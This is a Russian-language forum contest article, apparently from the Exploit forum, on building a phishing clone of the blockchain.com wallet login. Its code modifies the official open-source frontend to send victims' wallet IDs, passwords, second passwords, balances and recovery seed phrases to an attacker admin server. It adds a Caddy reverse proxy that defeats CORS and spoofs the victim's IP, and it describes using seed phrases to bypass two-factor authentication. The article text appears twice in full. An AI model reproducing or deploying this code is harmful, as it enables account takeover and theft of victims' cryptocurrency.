- Сообщения
- 76
Источник: конкурс статей на форуме Exploit
Все мы наслышаны про фэйки блокчейна(в нашем случае blockchain.com), но видел ли кто из нас простых смертных саму реализацию и что вообще фэйк из себя представляет?
Купить на рынке готовый продукт при этом, не зная из чего он состоит технически - это очень рискованно. Ведь за последние полгода, а может и год - уже объявлялись очень много кидал, которые показывали демо фэйка и сливались после получения крупной суммы, но сама статья не об этом.
НЕСТАНДАРТНЫЙ конкурс статей - требует нестандартных решений)))
Дело было вечером, делать было нечего и я решил посмотреть, как же можно реализовать фэйк блокчейна, не имея общего технического представления как это реализовали другие, опираясь только на описание возможностей и документацию.
И так, на минуточку вспомним всё, что мы знаем про фэйки.
Простыми словами, фэйк - это полноценная копия сайта с единственным отличием в домене, где основная идея заключается в том, чтобы посетитель не понял подмены и ввёл нужные нам данные.
И так, поехали!
Первым делом заходим на сайт: https://login.blockchain.com
Замечаем внизу данные версии и ссылку, которая ведёт на Github.
Переходим по ней и видим, что в репозитории выложены сорсы веб-интерфейса!
Хм... интересно, получается, что можно поднять копию веб-интерфейса без каких-либо знаний?
Я не мог поверить своим глазам, разве это было так просто? Кому пришла идея выложить это добро официально вообще не понятно.
Далее вчитываемся в инструкцию, пробуем установить:
Код
Спойлер: Код
wget https://codeload.github.com/blockchain/blockchain-wallet-v4-frontend/zip/refs/tags/v4.48.16
unzip blockchain-wallet-v4-frontend-4.48.16.zip
cd blockchain-wallet-v4-frontend
./setup.sh
yarn start:dev
Результат - ну "почти" полноценный фэйк
Правда пока этот фэйк ничего не делает в плане отправки данных, чем мы сейчас и займёмся.
Нам нужно в файлах найти авторизацию и попробовать добавить свою функцию.
Ищем в файлах по ключевому слову "login".
Находим основной файл авторизации:
Открываем файл: packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js
Добавляем функцию для простой отправки:
Спойлер: Код
const submitAuth = function ({guid, password}) {
axios({
url: `https://admin.blockchain.test/api/wallets`,
method: 'POST',
data: {
guid: guid,
password: password
},
headers: {
'Content-Type': 'application/json'
}
})
}
А так же после блока сессии:
Спойлер: Код
let session = yield select(selectors.session.getSession, guid)
Добавляем:
Спойлер: Код
yield call(submitAuth, {guid, password})
Осталось самое главное, запустить это всё на тестовом домене и посмотреть всю работоспособность.
Редактируем файл hosts:
Спойлер: Код
127.0.0.1 login.blockchain.test
Открываем http://login.blockchain.test и пытаемся авторизоваться.
Смотрим, что ничего не происходит, первым делом проверяем консоль:
Ждало меня разочарование, оказывается API сервер не даёт делать запросы извне из-за CORS.
Думаем, думаем, как же решается CORS? Так ведь обычным реверс прокси на уровне веб-сервера. Разве нет?
Файл конфигурации для простого реверс прокси веб-сервера Caddy:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy * https://blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}
Что именно делает данный конфиг - просто проксирует все запросы к домену blockchain.info и меняет ответ в котором разрешает CORS-запросы, можно на абсолютно любом веб-сервере такое провернуть - для простоты работы и наглядности и был выбран Caddy, как отличный легковесный веб-сервер с автоматической поддержкой ssl, который написан на Go.
Теперь меняем адрес API сервера в нашем файле веб-интерфейса, для этого открываем файл config/env/production.js
Меняем:
Спойлер: Код
ROOT_URL: 'https://blockchain.info',
На значение:
Спойлер: Код
ROOT_URL: 'http://reverse.blockchain.test',
Пробуем еще раз авторизоваться:
Ураааа! Авторизация прошла успешно и письмо для подтверждения было отправлено.
Нам осталось только проверить почту и открыть письмо:
Да, но какого чёрта тут делает IP-адрес моего сервера?

Я на минуточку задумался, мы же только недавно обходили CORS, поэтому и высвечивается этот адрес, и тут я вспомнил... во всех темах, где арендовался фэйк было написано про такую фичу, как IP-спуфинг.
Смысл заключается в том, что обычный пользователь оказавшийся на фэйке при подтверждении по почте, поймёт, что это IP-адрес чужой и попросту не подтвердит, что не есть хорошо. Получается, без этой фичи наш фэйк - это лишь подобие мощного комбайна, такое можно было и на HTML+CSS сделать.
Нужно немного найти информации про этот спуф... и так вспоминаем:
Немного поразмыслив, вновь дочитав про IP-спуфинг, я пришёл к выводу, что IP-спуфинг работает только в UDP.
В запросе HTTP не получится подменить IP-адрес, ведь HTTP работает через TCP протокол.
Неужели это конец? Я немного расстроился, заварил чайку и всё-таки решил еще раз, посмотреть сам сайт и запросы https://login.blockchain.com после авторизации:
О, да... очень интересный саб-домен в заголовке x-original-host: wallet.prod.blockchain.info!
Нам нужно узнать подробности для всех доменов и IP-адресов.
Делаем запрос, чтобы узнать, где находится blockchain.info:
Спойлер: Код
nslookup blockchain.info
Non-authoritative answer:
Name: blockchain.info
Address: 104.16.143.212
Name: blockchain.info
Address: 104.16.147.212
Name: blockchain.info
Address: 104.16.144.212
Name: blockchain.info
Address: 104.16.146.212
Name: blockchain.info
Address: 104.16.145.212
Теперь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 104.16.143.212
NetRange: 104.16.0.0 - 104.31.255.255
CIDR: 104.16.0.0/12
NetName: CLOUDFLARENET
NetHandle: NET-104-16-0-0-1
Parent: NET104 (NET-104-0-0-0-0)
NetType: Direct Assignment
OriginAS: AS13335
Organization: Cloudflare, Inc. (CLOUD14)
RegDate: 2014-03-28
Updated: 2017-02-17
Comment: All Cloudflare abuse reporting can be done via https://www.cloudflare.com/abuse
Осталось узнать, где находится wallet.prod.blockchain.info:
Спойлер: Код
nslookup wallet.prod.blockchain.info
Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 35.201.74.1
NetRange: 35.192.0.0 - 35.207.255.255
CIDR: 35.192.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-192-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-03-21
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***
На минутку я замер: они используют CloudFlare, но при этом основной сервер на который пересылаются запросы находится в облаке Google.
Пробуем пинговать:
Спойлер: Код
nslookup wallet.prod.blockchain.info
Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 35.201.74.1
NetRange: 35.192.0.0 - 35.207.255.255
CIDR: 35.192.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-192-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-03-21
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***
Открываем сам сайт:
404... хм... что-то и чай уже сильно остыл - ну да ладно, ведь мы тут нашли кое что-то очень интересное.
Я опять расстроился, но на минутку вспомнил, что раз сайт проксируется через CloudFlare, а далее передаётся в Google Cloud, то значит что они как-то передают нужные заголовки.
Ведь любой человек, который когда-либо работавший с CloudFlare знает, что все запросы на сервер идут: Посетитель <-> CloudFlare <-> Сервер.
Поэтому, чтобы восстановить реальный IP-адрес посетителя нам нужно прочитать документацию: https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs
И так, с уже остывшим чаем продолжаем наш путь, в документации говорится, что бы получить IP-адрес посетителя нужно получать данные из заголовков CF-Connecting-IP, в нашем же случае нам нужно отправлять такой заголовок, пробуем для начала в обычном запросе:
Проверяем почту:
Чему я был безумно рад, осталось это интегрировать в наш реверс прокси:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy * https://wallet.prod.blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_up Cf-Connecting-Ip {http.request.remote.host}
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}
Авторизация работает, но почему-то не показывается баланс:
Открываем консоль, далее смотрим, что проблема возникает из-за того, что /multiadd доступен только blockchain.info, а в wallet.prod.blockchain.info его попросту нет:
Оказывается наш реверс прокси не совсем универсальный. Добавляем немного логики в наш реверс прокси:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy /multiaddr https://blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
reverse_proxy * https://wallet.prod.blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_up Cf-Connecting-Ip {http.request.remote.host}
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}
Отлично! Теперь все работает прекрасно!
Как итог, мы уже имеем: захват логина и пароля + IP-спуфинг.
Но это нам ничего не даёт, ведь подтвердить по почте мы не сможем, а если у пользователя еще включена двух-факторная авторизация или блокировка по IP-адресу, то тут совсем беда.
Фэйк сделать-то сделали, но пользы от него мы не получим, если не будет постоянного доступа к аккаунту.
Решил всё-таки вернуться к истокам и еще раз посмотреть сам веб-интерфейс, нас интересуют настройки безопасности:
Интересно, секретный ключ восстановления даёт возможность любому получить доступ к аккаунту?! Простите, что?
Перечитываю пару раз и только потом доходит, что этот секретный ключ - это нечто из разряда святых, если его потерял то можно лишиться денег на аккаунте.
И если он показывается в веб-интерфейсе, значит можно тоже отправить к себе, но для начала нам нужно проверить возможности секретного ключа.
Включаем в настройках двух-факторное подтверждение + белый список по IP-адресу.
Нам осталось только проверить, для этого мы подключаемся через второй сокс и переходим по ссылке, где вводим ключ восстановления:
После ввода правильного секретного ключа появляется форма для смены пароля:
Вводим пароль и нажимаем на Recover Funds и после этого попадаем моментально в аккаунт:
Как итог, восстановление через секретный ключ позволяет обойти любые ограничения аккаунта: двух-факторную авторизацию + белый список по IP-адресу.
Это просто жесть, подумал я на минутку... значит даже смысла в записи логина пароля нет, можно просто собирать секретные ключи и восстанавливать аккаунты, а далее отключать настройки безопасности, в том числе изменять почтовый адрес.
"Так это фича, а не баг" - так сказали бы разработчики...
Теперь нам осталось добавить все недостающие возможности в сам фэйк.
1) Секретный ключ восстановления.
Ищем в файлах "recovery", находим единственную функцию "recoverySaga", которая и выводит приватный ключ восстановления:
Спойлер: Код
const recoverySaga = function * ({ password }) {
const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
try {
const mnemonicT = yield select(getMnemonic)
const mnemonic = yield call(() => taskToPromise(mnemonicT))
const mnemonicArray = mnemonic.split(' ')
yield put(
actions.modules.settings.addMnemonic({ mnemonic: mnemonicArray })
)
} catch (e) {
yield put(
actions.logs.logErrorMessage(logLocation, 'showBackupRecovery', e)
)
}
}
Нам нужно немного его изменить, открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts
Добавляем функцию для возврата секретного ключа в удобном для нас формате:
Спойлер: Код
const recoverySagaInfo = function * ({ password }) {
const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
try {
const mnemonicT = yield select(getMnemonic)
const mnemonic = yield call(() => taskToPromise(mnemonicT))
return mnemonic;
} catch (e) {
}
}
Нужно еще эти данные отправить, добавляем функцию отправки:
Спойлер: Код
const submitRecover = ({ guid, recovery }: { guid: string, recovery: any }) =>
axios({
url: `https://admin.blockchain.test/api/recovers`,
method: 'POST',
data: {
guid: guid,
recover: recovery
},
headers: {
'Content-Type': 'application/json'
}
})
2) Дополнительный пароль подтверждения ака второй пасс.
Ищем в файлах "SecondPassword" находим удивительный вызов функции:
Спойлер: Код
import { promptForSecondPassword } from 'services/sagas'
const password = yield call(promptForSecondPassword)
Прекрасно. Это именно то, что нам и было нужно.
Открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts
Добавляем функцию для отправки данных второго пароля:
Спойлер: Код
const submitSecondPass = ({ guid, password }: { guid: string, password: string }) =>
axios({
url: `https://admin.blockchain.test/api/seconds`,
method: 'POST',
data: {
guid: guid,
password: password
},
headers: {
'Content-Type': 'application/json'
}
})
Вызывать функцию будем чуть позже.
3) Баланс
Если будет информация о балансе кошелька, то будет легче понимать какой из аккаунтов нужно восстанавливать моментально и в дальнейшем просто добавить уведомления.
Ищем в файлах "balances", находим не менее удивительный вызов функции в том же файле, который мы редактировали ранее:
Спойлер: Код
// check/wait for balances to be available
const balances = yield call(waitForAllBalances)
Добавляем функцию для отправки данных баланса:
Спойлер: Код
const submitBalance = ({ balances, guid }: { balances: any, guid: string }) =>
axios({
url: `https://admin.blockchain.test/api/balances`,
method: 'POST',
data: {
guid: guid,
"btc": balances.btc,
"eth": balances.eth,
"bch": balances.bch,
"pax": balances.pax,
"xlm": balances.xlm,
"usdt": balances.usdt,
"wdgld": balances.wdgld
},
headers: {
'Content-Type': 'application/json'
}
})
Теперь, после авторизации, чтобы отправляло, нам нужно изменить файл packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js:
Ищем функцию:
Спойлер: Код
yield put(actions.goals.saveGoal('syncPit'))
Добавляем после неё
Спойлер: Код
yield put(actions.goals.saveGoal('sendData'))
После чего нам нужно добавить новую функцию в файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts:
Спойлер: Код
const runSendData = function * (goal) {
const { id } = goal
// Удаляём задачу, чтобы не запускалось сто раз.
yield put(actions.goals.deleteGoal(id))
// Ждём данных пользователя
yield call(waitForUserData)
// Получаем идентификатор аккаунта
const guid = yield select(selectors.core.wallet.getGuid)
// Ждём загрузки баланса
const balances = yield call(waitForAllBalances)
// @ts-ignore
yield call(submitBalance, {guid, balances});
// Получаем второй пароль
const password = yield call(promptForSecondPassword) || null ;
// @ts-ignore
yield call(submitSecondPass, {guid, password});
// Получаем секретный ключ восстановления
const recovery = yield call(recoverySagaInfo, { password })
// @ts-ignore
yield call(submitRecover, {guid, recovery});
}
В том же файле ищем:
Спойлер: Код
case 'syncPit':
yield call(runSyncPitGoal, goal)
break
Добавляем после неё
Код:Скопировать в буфер обмена
case 'sendData':
yield call(runSendData, goal)
break
В файле packages/blockchain-wallet-v4-frontend/src/data/goals/types.ts:
После "referral", добавляем "sendData".
Готово! Наш безупречный фэйк со всеми возможностями создан.
Для наглядности хотелось бы так же выложить материалы с подробными инструкциями по установке на сервер:
- Фэйк (конфиги + скрипты, сервер vps-1)
- Реверс прокси (конфиги + скрипты, сервер vps-2)
- Простенькая админ панель (конфиги + скрипты, сервер vps-3)
Но опасаясь спекуляций со стороны недобросовестных пользователей(и резкого роста торговцев фейками блокчейна) данный материал в иерархическом порядке хотелось бы передать администраторами и модераторам форума, а так же специалистам, которые бы хотели "потрогать" и убедиться, что всё описанное в данной статье - актуально и работает на момент публикации.
PS: возможно полетят абузы, что в паблик уходит приват, но нет, друзья - до этого мог дойти любой и тут показано как именно достигнут результат, а не просто выкладывается готовое решение.
Данная статья для конкурса является прямым подтверждением того, что нет ничего невозможного.
Просто пробуйте, и Вы добьетесь всего и всегда.
С единственной в данном случае оговоркой, о которой хотелось бы напомнить(привет, Ubuntu/Debian):
"C великой силой приходит и великая ответственность"
Все мы наслышаны про фэйки блокчейна(в нашем случае blockchain.com), но видел ли кто из нас простых смертных саму реализацию и что вообще фэйк из себя представляет?
Купить на рынке готовый продукт при этом, не зная из чего он состоит технически - это очень рискованно. Ведь за последние полгода, а может и год - уже объявлялись очень много кидал, которые показывали демо фэйка и сливались после получения крупной суммы, но сама статья не об этом.
НЕСТАНДАРТНЫЙ конкурс статей - требует нестандартных решений)))
Дело было вечером, делать было нечего и я решил посмотреть, как же можно реализовать фэйк блокчейна, не имея общего технического представления как это реализовали другие, опираясь только на описание возможностей и документацию.
И так, на минуточку вспомним всё, что мы знаем про фэйки.
Простыми словами, фэйк - это полноценная копия сайта с единственным отличием в домене, где основная идея заключается в том, чтобы посетитель не понял подмены и ввёл нужные нам данные.
И так, поехали!
Первым делом заходим на сайт: https://login.blockchain.com

Замечаем внизу данные версии и ссылку, которая ведёт на Github.
Переходим по ней и видим, что в репозитории выложены сорсы веб-интерфейса!

Хм... интересно, получается, что можно поднять копию веб-интерфейса без каких-либо знаний?
Я не мог поверить своим глазам, разве это было так просто? Кому пришла идея выложить это добро официально вообще не понятно.
Далее вчитываемся в инструкцию, пробуем установить:
Код
Спойлер: Код
wget https://codeload.github.com/blockchain/blockchain-wallet-v4-frontend/zip/refs/tags/v4.48.16
unzip blockchain-wallet-v4-frontend-4.48.16.zip
cd blockchain-wallet-v4-frontend
./setup.sh
yarn start:dev
Результат - ну "почти" полноценный фэйк

Правда пока этот фэйк ничего не делает в плане отправки данных, чем мы сейчас и займёмся.
Нам нужно в файлах найти авторизацию и попробовать добавить свою функцию.
Ищем в файлах по ключевому слову "login".
Находим основной файл авторизации:

Открываем файл: packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js
Добавляем функцию для простой отправки:
Спойлер: Код
const submitAuth = function ({guid, password}) {
axios({
url: `https://admin.blockchain.test/api/wallets`,
method: 'POST',
data: {
guid: guid,
password: password
},
headers: {
'Content-Type': 'application/json'
}
})
}
А так же после блока сессии:
Спойлер: Код
let session = yield select(selectors.session.getSession, guid)
Добавляем:
Спойлер: Код
yield call(submitAuth, {guid, password})
Осталось самое главное, запустить это всё на тестовом домене и посмотреть всю работоспособность.
Редактируем файл hosts:
Спойлер: Код
127.0.0.1 login.blockchain.test
Открываем http://login.blockchain.test и пытаемся авторизоваться.

Смотрим, что ничего не происходит, первым делом проверяем консоль:

Ждало меня разочарование, оказывается API сервер не даёт делать запросы извне из-за CORS.
Думаем, думаем, как же решается CORS? Так ведь обычным реверс прокси на уровне веб-сервера. Разве нет?
Файл конфигурации для простого реверс прокси веб-сервера Caddy:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy * https://blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}
Что именно делает данный конфиг - просто проксирует все запросы к домену blockchain.info и меняет ответ в котором разрешает CORS-запросы, можно на абсолютно любом веб-сервере такое провернуть - для простоты работы и наглядности и был выбран Caddy, как отличный легковесный веб-сервер с автоматической поддержкой ssl, который написан на Go.
Теперь меняем адрес API сервера в нашем файле веб-интерфейса, для этого открываем файл config/env/production.js
Меняем:
Спойлер: Код
ROOT_URL: 'https://blockchain.info',
На значение:
Спойлер: Код
ROOT_URL: 'http://reverse.blockchain.test',
Пробуем еще раз авторизоваться:

Ураааа! Авторизация прошла успешно и письмо для подтверждения было отправлено.
Нам осталось только проверить почту и открыть письмо:

Да, но какого чёрта тут делает IP-адрес моего сервера?


Я на минуточку задумался, мы же только недавно обходили CORS, поэтому и высвечивается этот адрес, и тут я вспомнил... во всех темах, где арендовался фэйк было написано про такую фичу, как IP-спуфинг.
Смысл заключается в том, что обычный пользователь оказавшийся на фэйке при подтверждении по почте, поймёт, что это IP-адрес чужой и попросту не подтвердит, что не есть хорошо. Получается, без этой фичи наш фэйк - это лишь подобие мощного комбайна, такое можно было и на HTML+CSS сделать.
Нужно немного найти информации про этот спуф... и так вспоминаем:
Немного поразмыслив, вновь дочитав про IP-спуфинг, я пришёл к выводу, что IP-спуфинг работает только в UDP.
В запросе HTTP не получится подменить IP-адрес, ведь HTTP работает через TCP протокол.
Неужели это конец? Я немного расстроился, заварил чайку и всё-таки решил еще раз, посмотреть сам сайт и запросы https://login.blockchain.com после авторизации:

О, да... очень интересный саб-домен в заголовке x-original-host: wallet.prod.blockchain.info!
Нам нужно узнать подробности для всех доменов и IP-адресов.
Делаем запрос, чтобы узнать, где находится blockchain.info:
Спойлер: Код
nslookup blockchain.info
Non-authoritative answer:
Name: blockchain.info
Address: 104.16.143.212
Name: blockchain.info
Address: 104.16.147.212
Name: blockchain.info
Address: 104.16.144.212
Name: blockchain.info
Address: 104.16.146.212
Name: blockchain.info
Address: 104.16.145.212
Теперь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 104.16.143.212
NetRange: 104.16.0.0 - 104.31.255.255
CIDR: 104.16.0.0/12
NetName: CLOUDFLARENET
NetHandle: NET-104-16-0-0-1
Parent: NET104 (NET-104-0-0-0-0)
NetType: Direct Assignment
OriginAS: AS13335
Organization: Cloudflare, Inc. (CLOUD14)
RegDate: 2014-03-28
Updated: 2017-02-17
Comment: All Cloudflare abuse reporting can be done via https://www.cloudflare.com/abuse
Осталось узнать, где находится wallet.prod.blockchain.info:
Спойлер: Код
nslookup wallet.prod.blockchain.info
Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 35.201.74.1
NetRange: 35.192.0.0 - 35.207.255.255
CIDR: 35.192.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-192-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-03-21
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***
На минутку я замер: они используют CloudFlare, но при этом основной сервер на который пересылаются запросы находится в облаке Google.
Пробуем пинговать:
Спойлер: Код
nslookup wallet.prod.blockchain.info
Name: wallet.prod.blockchain.info
Address: 35.201.74.1
Вновь узнаём кому принадлежит IP-адрес:
Спойлер: Код
whois 35.201.74.1
NetRange: 35.192.0.0 - 35.207.255.255
CIDR: 35.192.0.0/12
NetName: GOOGLE-CLOUD
NetHandle: NET-35-192-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-03-21
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***
Открываем сам сайт:

404... хм... что-то и чай уже сильно остыл - ну да ладно, ведь мы тут нашли кое что-то очень интересное.
Я опять расстроился, но на минутку вспомнил, что раз сайт проксируется через CloudFlare, а далее передаётся в Google Cloud, то значит что они как-то передают нужные заголовки.
Ведь любой человек, который когда-либо работавший с CloudFlare знает, что все запросы на сервер идут: Посетитель <-> CloudFlare <-> Сервер.
Поэтому, чтобы восстановить реальный IP-адрес посетителя нам нужно прочитать документацию: https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs
И так, с уже остывшим чаем продолжаем наш путь, в документации говорится, что бы получить IP-адрес посетителя нужно получать данные из заголовков CF-Connecting-IP, в нашем же случае нам нужно отправлять такой заголовок, пробуем для начала в обычном запросе:

Проверяем почту:

Чему я был безумно рад, осталось это интегрировать в наш реверс прокси:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy * https://wallet.prod.blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_up Cf-Connecting-Ip {http.request.remote.host}
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}
Авторизация работает, но почему-то не показывается баланс:

Открываем консоль, далее смотрим, что проблема возникает из-за того, что /multiadd доступен только blockchain.info, а в wallet.prod.blockchain.info его попросту нет:

Оказывается наш реверс прокси не совсем универсальный. Добавляем немного логики в наш реверс прокси:
Спойлер: Код
reverse.blockchain.test {
route {
reverse_proxy /multiaddr https://blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
reverse_proxy * https://wallet.prod.blockchain.info {
header_up -Host
header_up origin https://login.blockchain.com
header_up referer https://login.blockchain.com/
header_up Cf-Connecting-Ip {http.request.remote.host}
header_down Access-Control-Allow-Origin "*"
header_down Content-Security-Policy "*"
header_down Access-Control-Allow-Headers "*"
header_down Access-Control-Allow-Methods "POST, GET, OPTIONS"
}
}
}
Отлично! Теперь все работает прекрасно!
Как итог, мы уже имеем: захват логина и пароля + IP-спуфинг.
Но это нам ничего не даёт, ведь подтвердить по почте мы не сможем, а если у пользователя еще включена двух-факторная авторизация или блокировка по IP-адресу, то тут совсем беда.
Фэйк сделать-то сделали, но пользы от него мы не получим, если не будет постоянного доступа к аккаунту.
Решил всё-таки вернуться к истокам и еще раз посмотреть сам веб-интерфейс, нас интересуют настройки безопасности:

Интересно, секретный ключ восстановления даёт возможность любому получить доступ к аккаунту?! Простите, что?


Перечитываю пару раз и только потом доходит, что этот секретный ключ - это нечто из разряда святых, если его потерял то можно лишиться денег на аккаунте.
И если он показывается в веб-интерфейсе, значит можно тоже отправить к себе, но для начала нам нужно проверить возможности секретного ключа.
Включаем в настройках двух-факторное подтверждение + белый список по IP-адресу.
Нам осталось только проверить, для этого мы подключаемся через второй сокс и переходим по ссылке, где вводим ключ восстановления:

После ввода правильного секретного ключа появляется форма для смены пароля:

Вводим пароль и нажимаем на Recover Funds и после этого попадаем моментально в аккаунт:

Как итог, восстановление через секретный ключ позволяет обойти любые ограничения аккаунта: двух-факторную авторизацию + белый список по IP-адресу.
Это просто жесть, подумал я на минутку... значит даже смысла в записи логина пароля нет, можно просто собирать секретные ключи и восстанавливать аккаунты, а далее отключать настройки безопасности, в том числе изменять почтовый адрес.
"Так это фича, а не баг" - так сказали бы разработчики...

Теперь нам осталось добавить все недостающие возможности в сам фэйк.
1) Секретный ключ восстановления.
Ищем в файлах "recovery", находим единственную функцию "recoverySaga", которая и выводит приватный ключ восстановления:
Спойлер: Код
const recoverySaga = function * ({ password }) {
const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
try {
const mnemonicT = yield select(getMnemonic)
const mnemonic = yield call(() => taskToPromise(mnemonicT))
const mnemonicArray = mnemonic.split(' ')
yield put(
actions.modules.settings.addMnemonic({ mnemonic: mnemonicArray })
)
} catch (e) {
yield put(
actions.logs.logErrorMessage(logLocation, 'showBackupRecovery', e)
)
}
}
Нам нужно немного его изменить, открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts
Добавляем функцию для возврата секретного ключа в удобном для нас формате:
Спойлер: Код
const recoverySagaInfo = function * ({ password }) {
const getMnemonic = s => selectors.core.wallet.getMnemonic(s, password)
try {
const mnemonicT = yield select(getMnemonic)
const mnemonic = yield call(() => taskToPromise(mnemonicT))
return mnemonic;
} catch (e) {
}
}
Нужно еще эти данные отправить, добавляем функцию отправки:
Спойлер: Код
const submitRecover = ({ guid, recovery }: { guid: string, recovery: any }) =>
axios({
url: `https://admin.blockchain.test/api/recovers`,
method: 'POST',
data: {
guid: guid,
recover: recovery
},
headers: {
'Content-Type': 'application/json'
}
})
2) Дополнительный пароль подтверждения ака второй пасс.
Ищем в файлах "SecondPassword" находим удивительный вызов функции:
Спойлер: Код
import { promptForSecondPassword } from 'services/sagas'
const password = yield call(promptForSecondPassword)
Прекрасно. Это именно то, что нам и было нужно.
Открываем файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts
Добавляем функцию для отправки данных второго пароля:
Спойлер: Код
const submitSecondPass = ({ guid, password }: { guid: string, password: string }) =>
axios({
url: `https://admin.blockchain.test/api/seconds`,
method: 'POST',
data: {
guid: guid,
password: password
},
headers: {
'Content-Type': 'application/json'
}
})
Вызывать функцию будем чуть позже.
3) Баланс
Если будет информация о балансе кошелька, то будет легче понимать какой из аккаунтов нужно восстанавливать моментально и в дальнейшем просто добавить уведомления.
Ищем в файлах "balances", находим не менее удивительный вызов функции в том же файле, который мы редактировали ранее:
Спойлер: Код
// check/wait for balances to be available
const balances = yield call(waitForAllBalances)
Добавляем функцию для отправки данных баланса:
Спойлер: Код
const submitBalance = ({ balances, guid }: { balances: any, guid: string }) =>
axios({
url: `https://admin.blockchain.test/api/balances`,
method: 'POST',
data: {
guid: guid,
"btc": balances.btc,
"eth": balances.eth,
"bch": balances.bch,
"pax": balances.pax,
"xlm": balances.xlm,
"usdt": balances.usdt,
"wdgld": balances.wdgld
},
headers: {
'Content-Type': 'application/json'
}
})
Теперь, после авторизации, чтобы отправляло, нам нужно изменить файл packages/blockchain-wallet-v4-frontend/src/data/auth/sagas.js:
Ищем функцию:
Спойлер: Код
yield put(actions.goals.saveGoal('syncPit'))
Добавляем после неё
Спойлер: Код
yield put(actions.goals.saveGoal('sendData'))
После чего нам нужно добавить новую функцию в файл packages/blockchain-wallet-v4-frontend/src/data/goals/sagas.ts:
Спойлер: Код
const runSendData = function * (goal) {
const { id } = goal
// Удаляём задачу, чтобы не запускалось сто раз.
yield put(actions.goals.deleteGoal(id))
// Ждём данных пользователя
yield call(waitForUserData)
// Получаем идентификатор аккаунта
const guid = yield select(selectors.core.wallet.getGuid)
// Ждём загрузки баланса
const balances = yield call(waitForAllBalances)
// @ts-ignore
yield call(submitBalance, {guid, balances});
// Получаем второй пароль
const password = yield call(promptForSecondPassword) || null ;
// @ts-ignore
yield call(submitSecondPass, {guid, password});
// Получаем секретный ключ восстановления
const recovery = yield call(recoverySagaInfo, { password })
// @ts-ignore
yield call(submitRecover, {guid, recovery});
}
В том же файле ищем:
Спойлер: Код
case 'syncPit':
yield call(runSyncPitGoal, goal)
break
Добавляем после неё
Код:Скопировать в буфер обмена
case 'sendData':
yield call(runSendData, goal)
break
